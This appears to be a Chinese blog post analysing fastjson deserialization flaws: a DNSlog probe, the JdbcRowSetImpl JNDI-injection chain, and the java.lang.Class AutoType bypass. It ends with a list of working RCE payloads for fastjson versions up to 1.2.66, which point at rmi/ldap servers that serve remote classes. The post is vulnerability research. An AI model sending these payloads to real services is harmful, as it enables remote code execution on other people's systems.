z3
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

介绍
本篇fastjson开始用的是1.2.78(dnslog Payload分析),后来测试不能rmi利用,又将版本改为了1.2.41
jdk版本1.7(在前面jndi注入时分析过了,rmi利用对jdk版本有限制)
payload分析
dnslog Payload
首先分析个dnslog的payload
{"@type":"java.net.Inet4Address","val":"bouaiq.dnslog.cn"}
代码如图
在DefaultJSONParseer.parseObject开始解析json
调用栈如图
JSON解析主要代码都在这个while循环,首先读一个字符,如果是",那就继续读key,然后再读:,如果没:就报错expect ':' ,然后再读一个字符,如果是"那就是value,如果是{就继续递归解析
这就是大概的解析过程,代码里很多校验json格式的,处理异常
当遇到}时,就结束解析过程,返回构造好的Map对象
大概了解析过程,再看下它是如何解析@type的
首先读取到",然后解析出key是@type
后面对key进行了判断,进入到如图的if语句中,读出了typeName,即java.net.Inet4Address
然后判断typeName是不是完全数字组成,不是,则创建相应的Class对象
然后创建了deserializer对象,调用deserialze方法,这里触发了dns请求
deserialze方法中,先获取到val,然后调用InetAddress.getByName(地址)
通杀Payload
从这里开始fastjson使用1.2.41版本
{ "rand1": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "rand2": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://127.0.0.1:1099/aaa", "autoCommit": true } }
下面分析下这个payload
直接在DefaultJSONParseer.parseObject处断点
经过分析,第一步解析了rand1的键值对,使用Class.forName加载了com.sun.rowset.JdbcRowSetImpl类
第二步解析rand2,如图,使用checkAutoType创建com.sun.rowset.JdbcRowSetImpl的Class对象
checkAutoType方法
调用TypeUtils.getClassFromMapping方法,获取JdbcRowSetImpl的Class对象
getClassFromMapping方法,这里的mapping是一个hashMap,键值对分别是类名和Class对象
因为在第一步解析rand1时,加载了com.sun.rowset.JdbcRowSetImpl类,写入了mapping中,所以这里就可以获得com.sun.rowset.JdbcRowSetImpl类的Class对象了
获取到Class对象后,如图
和之前dnslog分析流程相同,创建ObjectDeserializer对象,调用deserialize方法
getDeserializer方法如图,是根据当前类的类型获取deserializer
继续跟踪deserialize方法,来到了JavaBeanDeserializer.deserialize方法
这个方法代码特别长,而且循环次数特别多,经过测试,命令执行就在这个函数。之前测试jndi注入时分析过,rmi利用,命令执行会经过NamingManager的getObjectFactoryFromReference方法,所以直接在这里加断点,成功拦截命令执行。
调用链如图
回头看JavaBeanDeserializer.deserialize方法,如图,解析Field autoCommit
如图,获取到autoCommit的值,设置value
如图,获取到setAutoCommit方法,通过反射调用setAutoCommit方法,设置autoCommit的值
继续跟踪setAutoCommit方法。这个方法里,不仅设置了autocommit值,还顺便判断了conn,如果conn为null,还会调用connect方法。
如图,connect方法,对datasource进行lookup,导致命令执行(这个原因在JNDI注入篇分析过了)
填坑
这里在从json数据解析对象的值时调用JavaBeanDeserializer.deserialize方法。
这里的JavaBean是java的一种特殊类,类方法有很多set和get方法,可以用来设置或获取类的属性值,
如:
这种JavaBean格式优点就是,不需要直接访问类成员变量,可以通过get、set方法、对数据访问、修改。
而且变量名和get、set方法有规律:set/get+首字母大写的变量名,这种方式很容易通过反射访问、修改数据值。
所以JavaBeanDeserializer,意思是JavaBean反序列化,但是,不是正常的java普通对象的反序列化,而且JavaBean的反序列化。JavaBean序列化和反序列化过程也很简单,就是调用get提取数据,转json,或从json读取key,调用set方法,设置属性值。
所以,上面的例子,fastjson在解析json到对象的 过程是
解析rand1,发现@type值为java.lang.Class,使用Class类型的Deserializer加载了com.sun.rowset.JdbcRowSetImpl类,并创建Class对象,这个类写入了mapping
解析rand2,发现@type值为com.sun.rowset.JdbcRowSetImpl,在checkAutoType方法中,查询mapping,获得com.sun.rowset.JdbcRowSetImpl类的Class对象(在1中写入的)
使用步骤2中获取的Class对象创建了JdbcRowSetImpl对象,然后读取rand2的键值dataSourceName,调用对象的setDataSourceName方法,设置dataSourceName值。再调用setAutoCommit,设置autoCommit值
在setAutoCommit方法中,不仅设置了autoCommit值,还进行判断,conn值为空就调用connect方法
在connect方法中,lookup了dataSourceName,导致命令执行
另一种payload
{ "rand3": { "@type": "Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName": "rmi://127.0.0.1:1099/aaa", "autoCommit": true } }
和上面那个区别,少了"@type": "java.lang.Class"部分,这部分是为了防止调用checkAutoType方法时获取不到com.sun.rowset.JdbcRowSetImpl的Class对象。
所以直接在DefaultJSONParser.parserObject调用checkAutoType方法处加断点。
如图
和上一个payload相同,但是这次少了"@type": "java.lang.Class"部分,所以mappings没有com.sun.rowset.JdbcRowSetImpl的Class对象,所以这里返回null
报错如下
看来当前版本不支持这个paylaod。
在调试checkAutoType方法时,发现如图
只要满足了if里两个红框的条件,就会使用loadClass加载类
第一个红框autoTypeSupport的值在当前fastjson版本默认是false
第二个红框变量expectClass是形参,在函数调用时传入的值就是null,所以这个条件是不可能满足了
所以这个payload适合于autoTypeSupport的默认值为true的老版本fastjson或有人主动开启了autoTypeSupport的fastjson
因为开启clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
deserializer分析
再回顾下刚才代码调试的过程,在解析下面这段json时,创建了com.sun.rowset.JdbcRowSetImpl的类对象的原因在MiscCodec.deserialze方法中
"rand1": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }
在此处被调用
首先是this.config.getDeserializer方法,如图。
首先会去this.deserializers里找,这个类对象对应的反序列化工具(这里的java.lang.Class类型,在this.deserializers里找到了)。
如果找不到,还会根据下面的一些类型,返回相应的反序列化工具。
Class对应的反序列工具是MiscCodec类型,在MiscCodec类的deserialze方法中,还会对类型进行判断,如图,不同类型对应不同方式处理。
类似的,再回顾下dnslog Payload
java.net.Inet4Address类获取到的deserializer也是MiscCodec类型
则,在MiscCodec.deserialze方法中直接匹配到了InetSocketAddress的if语句中
对应处理方式如图,,所以会产生dnslog记录
总结1
// payload 1 { "rand1": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "rand2": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://127.0.0.1:1099/aaa", "autoCommit": true } } // payload 2 { "rand3": { "@type": "Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName": "rmi://127.0.0.1:1099/aaa", "autoCommit": true } }
payload 2适用于开启了autoTypeSupport( AutoType)的fastjson
payload 1比payload 2应用更广泛,是 AutoType的绕过版本
payload 2使用TypeUtils.loadClass加载类,获取TypeUtils.loadClass类对象
payload 1先实例化com.sun.rowset.JdbcRowSetImpl的java.lang.Class对象,写入mapping,然后调用
TypeUtils.getClassFromMapping方法,从mapping中获取JdbcRowSetImpl类对象
总结2
fastjson漏洞产生根本原因是反序列化JavaBean(JavaBean特有的反序列化方式)时,先加载类,然后创
建JavaBean对象,再用set方法,还原对象的属性值
有人发现com.sun.rowset.JdbcRowSetImpl的setAutoCommit方法可以调用connect方法,而connect方法
调用lookup,而lookup的数据源可控,这样就可以导致jndi注入(JNDI注入篇讲过)
所以构造了payload
{
"rand3": {
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "rmi://127.0.0.1:1099/aaa",
"autoCommit": true
}
}
fastjson发现漏洞后,在加载类这一步做了拦截(AutoType默认值为false),导致加载com.sun.rowset.JdbcRowSetImpl类会失败
又有人发现绕过方法
由于加载类的函数autoTypeSupport中提供了两种加载类的方式,一种是直接加载,由于AutoType默认值
为false这种方式已经被禁用了,另一种是去已经加载过的类中去找(相当于缓存,应该是为了提高效
率,每次加载类都会,存到mapping中,下次再加载直接去mapping中调用)
又因为在反序列化工具类MiscCodec的deserialze方法中,对不同的类型有不同处理方式,对Class类型处
理方式就是,加载val对应的类,,所以构造如下
{
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
}
这样就可以加载JdbcRowSetImpl类了,然后存到mapping里。配合上面总结的,下一次需要加载JdbcRowSetImpl类时,会使用第二种方式加载类:即直接从mapping。
找已经加载好的JdbcRowSetImpl类对象,结合上面两部分,就成功绕过了AutoType的限制。
以上两种paylaod最终都是通过JdbcRowSetImpl,构造jndi注入,导致rce。
第二种绕过的关键在于deserializer(反序列化工具类),不同的类(@type指定的),对应不同的deserializer,而deserializer的deserialze方法对不同的类,也会有不同的处理方式。
所以可以多翻一翻this.deserializers变量里的deserializer,看一看它们对不同类的处理方式,也许就有能
会有一些deserializer的deserialze方法,可以用来绕过,甚至直接造成rce(本次的绕过,就是由于Class
对应的deserializer的deserialze方法,对val进行了加载)。
payload总结
以下是fastjson的其它payload总结
来自 https://zeo.cool/2020/07/04/%E7%BA%A2%E9%98%9F%E6%AD%A6%E5%99%A8%E5%BA%93!fastjson%E5%B0%8F%E4%BA%8E1.2.68%E5%85%A8%E6%BC%8F%E6%B4%9ERCE%E5%88%A9%E7%94%A8exp
这篇文章还有很多其它payload
这些payload就不一一分析了,其实原理都差不多,加了一些绕过方式
fastjson<=1.2.24
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/jndi", "autoCommit":true}
fastjson<=1.2.41
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
fastjson<=1.2.42
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
fastjson<=1.2.43
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
fastjson<=1.2.45
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1399/Exploit"}}
fastjson<=1.2.47
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://x.x.x.x:1999/Exploit",
"autoCommit": true
}
}
fastjson<=1.2.62
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}"
fastjson<=1.2.66
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)

